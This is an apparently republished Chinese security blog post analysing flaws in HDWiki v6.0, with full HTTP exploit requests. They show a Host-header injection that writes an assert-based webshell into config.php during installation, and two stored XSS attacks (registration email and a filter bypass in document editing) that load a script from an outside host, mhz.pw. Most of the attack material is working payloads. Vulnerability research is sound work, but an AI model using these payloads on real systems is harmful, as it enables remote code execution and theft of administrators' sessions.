一个能让你技能加身的HDWiki漏洞

0x00 背景

最近拿到一个源码素材,于是对这个源码进行分析,发现了不少漏洞,本篇先将一些漏洞进行分析,下一篇再进行GetShell方法的分析,期待和师傅们的交流。

0x01 漏洞分析

配置文件写入

  • 0x00 相关环境

源码信息:HDWiki-v6.0UTF8-20170209 问题文件: \HDWiki-v6.0UTF8-20170209\hdwiki\install\install.php 漏洞类型:配置文件写入导致代码执行 站点地址:http://kaiyuan.hudong.com/

  • 0x01 漏洞分析

在文件\HDWiki-v6.0UTF8-20170209\hdwiki\install\install.php的第291-310行中发现如下代码块,其中传入的数据库连接等信息没有经过安全处理直接拼接,然后使用fwrite函数将拼接后的内容写入到配置文件中,因此此处存在代码执行漏洞。

通过反向跟踪$configfile,$site_url的数据,知道写入文件的名称是config.php,还有$site_url的参数是获取Host头的值。 在\HDWiki-v6.0UTF8-20170209\hdwiki\install\install.php

  • 0x02 漏洞复现

可以写入代码的位置有dbhost,dbuser,dbpassword,dbname,table_prefix,Host,这里我直接将代码植入到Host中。进行如下请求,将恶意代码写入到配置文件中,由于配置文件没有设置访问权限,所以写入后可以直接前台访问。

POST /install/install.php HTTP/1.1 
Host: 127.0.0.1:8081');@assert($_POST['cmd']);$a=(' 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://127.0.0.1:8081/install/install.php 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 95 
Connection: close 
Upgrade-Insecure-Requests: 1 
dbhost=localhost&dbuser=root&dbpassword=root&dbname=wiki&table_prefix=wiki_&saveconfig=1&step=3

写入后访问config.php 可以直接前台进行代码执行。

XSS注入

  • 0x00 相关环境

源码信息:HDWiki-v6.0UTF8-20170209 问题文件: \hdwiki\control\user.php 漏洞类型:存储型XSS注入 站点地址:http://kaiyuan.hudong.com/

  • 0x01 漏洞分析

在文件\hdwiki\control\user.php中的第50-56行中发现如下代码块,通过分析和数据跟踪发现$email存在安全问题,在第54行中接收email的值然后进行引号的转义处理后,进入到了第56行中的docheck中。

跟入docheck方法,在文件\hdwiki\control\user.php中的第199行中,使用docheckemail方法对$email进行检测。

跟入docheckemail方法,在文件\hdwiki\control\user.php中的第254-271行中发现该方法的代码块,通过分析该方法的可以知道并没有对HTML或者JS代码/字符进行安全处理,所以此处存在存储型XSS。

  • 0x02 漏洞复现

由于邮箱的长度有限制但是可以使用短域名突破。

POST /index.php?user-register HTTP/1.1 
Host: 127.0.0.1:8081 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://127.0.0.1:8081/index.php?user-register 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 143 
Cookie: hd_sid=2ny184; hd_auth=7eecQnwVHW%2FA9biNTw4cASoUikKxWJr4gHY9sz1QoHE50i5%2Bf92UQu6AOs9y1wk0RIqYiuWGCV2mX32jUwwn; PHPSESSID=14uuv4iobaociig610qksae2v0 
Connection: close 
Upgrade-Insecure-Requests: 1 
username=Thinking&password=Thinking&repassword=Thinking&email=<script src=http://mhz.pw/G></script>&agree=on&fromuid=&submit=%E6%8F%90%E4%BA%A4

当管理员登录后台进行用户管理便会触发JS代码。

1x00 相关环境

源码信息:HDWiki-v6.0UTF8-20170209 问题文件:\hdwiki\control\doc.php 漏洞类型:存储型XSS注入 站点地址:http://kaiyuan.hudong.com/

1x01 漏洞分析

在文件\hdwiki\control\doc.php中的第413行中发现doedit方法,在对词条进行编辑的时候,过滤危险字符的函数可以被绕过,导致可以直接引入前端代码造成存储型XSS,在文件的第534行中,使用了stripscript方法对传入的内容进行安全处理。

跟入stripscript,在\hdwiki\lib\string.class.php文件的第227行中发现该方法,分析该方法可以知道,该方法是将符合$pregfind的正则内容替换为空,因此可以通过如下方法进行绕过。

绕过方法:

1x02 漏洞复现

首先注册一个用户,再创建一个词条,然后对词条进行编辑也就是在content参数中植入js代码,绕过方法就是在最后一个script后加上空格,然后提交。

POST /index.php?doc-edit HTTP/1.1 
Host: 127.0.0.1:8081 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://127.0.0.1:8081/index.php?doc-edit-59 
Content-Type: multipart/form-data; boundary=---------------------------114782935826962 
Content-Length: 1332 
Cookie: PHPSESSID=14uuv4iobaociig610qksae2v0; hd_sid=HbPBd8; hd_auth=0737U4o9dWt5bzx9M%2BcQJZYvE1vO7shf%2Bej%2BpJtLa4eIXyCXC4r7pEHAk1KUQg%2Fh3G8yJtxK1dhL1FuFp1crdw 
Connection: close 
Upgrade-Insecure-Requests: 1 
-----------------------------114782935826962 
Content-Disposition: form-data; name="did" 
59 
-----------------------------114782935826962 
Content-Disposition: form-data; name="section_id" 
-----------------------------114782935826962 
Content-Disposition: form-data; name="create_submit" 
1 
-----------------------------114782935826962 
Content-Disposition: form-data; name="title" 
Thinking test buibui 
-----------------------------114782935826962 
Content-Disposition: form-data; name="category" 
0 
-----------------------------114782935826962 
Content-Disposition: form-data; name="_token" 
y5IIiyfoKxH5dcU90S38sG2STGfHqmkF 
-----------------------------114782935826962 
Content-Disposition: form-data; name="summary" 
xss 
-----------------------------114782935826962 
Content-Disposition: form-data; name="content" 
<p>hello world!<br /><br /></p><script src=http://mhz.pw/G></script > 
-----------------------------114782935826962 
Content-Disposition: form-data; name="tags" 
A 
-----------------------------114782935826962 
Content-Disposition: form-data; name="code" 
-----------------------------114782935826962 
Content-Disposition: form-data; name="editreason[]" 
A 
-----------------------------114782935826962 
Content-Disposition: form-data; name="publishsubmit" 
发布 
-----------------------------114782935826962--

当用户或者管理员访问这个词条后就可以执行JS脚本了。

0x02 小小总结

本篇只分析了发现的部分漏洞,该源码的问题不少,感兴趣的伙伴们可以自行挖掘试试,至于GetShell的方法有好几个,后篇再和大家分享吧,期待和师傅们的交流讨论,师傅们有更好的思路期待能一起交流讨论,但是如果是hc请走开勿扰,交流学习可联系我thinking_balabala@163.com。

原文发布于微信公众号 - 漏斗社区(newdooneSec)

原文发表时间:2018-05-18

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏开发技术

负载均衡+session共享(memcached-session-manager实现)

  本文的形成参考了很多人的博客,最多的应该是青葱岁月兄的这篇博客,大家可以先去看下,熟悉一些内容,因为本文是直接实践,一些理论性的知识就需要大家自己去补充了。

2333
来自专栏ChaMd5安全团队

记一次phpcms漏洞利用到获得服务器过程分享

记一次phpcms漏洞利用到获得服务器 by lshc 随着最近phpcms V9 任意上传和注入poc的流出,在圈内又掀起了一阵漏洞利用浪潮,想到之...

6286
来自专栏程序员的碎碎念

如何解决Python包依赖问题

以简洁高效(指编程较为高效, 而不是运行速度)出名的Python, 在包依赖问题上有时候让人挠头.

3230
来自专栏程序员的知识天地

你还在苦恼wifi破解技术吗?Python几行代码就可以做到!进来就学会

是不是还在为WiFi密码发愁,甚至有时候还忘掉自己家的WiFi密码,没关系,今天我给大家带来几个破解WiFi密码的案例!我先说明下这个东西一点都不高端,甚至看起...

2001
来自专栏FreeBuf

基于ThinkPHP的2个CMS后台GetShell利用

0x00 前言 ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,由于其简单易用,很多cms都基于该框架改写。然而 Thinkphp在缓存使...

4769
来自专栏数据和云

经典分享:一份高达555页的技术PPT会是什么样子?

首先要明确,升级和迁移是两件事,升级和数据量关系不大,而迁移通常涉及到跨数据库版本、跨平台,其耗时和复杂度大大增加,数据库容量也将成为重要的影响因素。

1234
来自专栏FreeBuf

用某品牌随身WiFi进行钓鱼测试

本文内容仅代表作者观点且只做测试展示,目的是提醒读者注意 WiFi 联网安全,严禁将内容用于不法用途。 前言 搭建钓鱼 WiFi 来盗取账号密码已经成为一种很...

2335
来自专栏沈唁志

整合ThinkPHP功能系列之微信网页OAuth2.0授权登录

OAuth(开放授权)是一个开放标准,允许用户让第三方应用访问该用户在某一网站上存储的私密的资源(如照片,视频,联系人列表),而无需将用户名和密码提供给第三方应...

1371
来自专栏渠道合作伙伴技术圈

Windows server环境下混合云部署DFS文件服务

很多传统企业在设计身份验证和文件服务时,都会使用微软的活动目录和windows server自带的文件共享来实现以上的需求, 公有云的出现给这个场...

85016
来自专栏python开发者

安全防范:nginx下git引发的隐私泄露问题

安全防范:nginx下git引发的隐私泄露问题 1   安全事件 最近阿里云服务器后台管理系统中收到一条安全提示消息,系统配置信息泄露: http://my.d...

25010

扫码关注云+社区

领取腾讯云代金券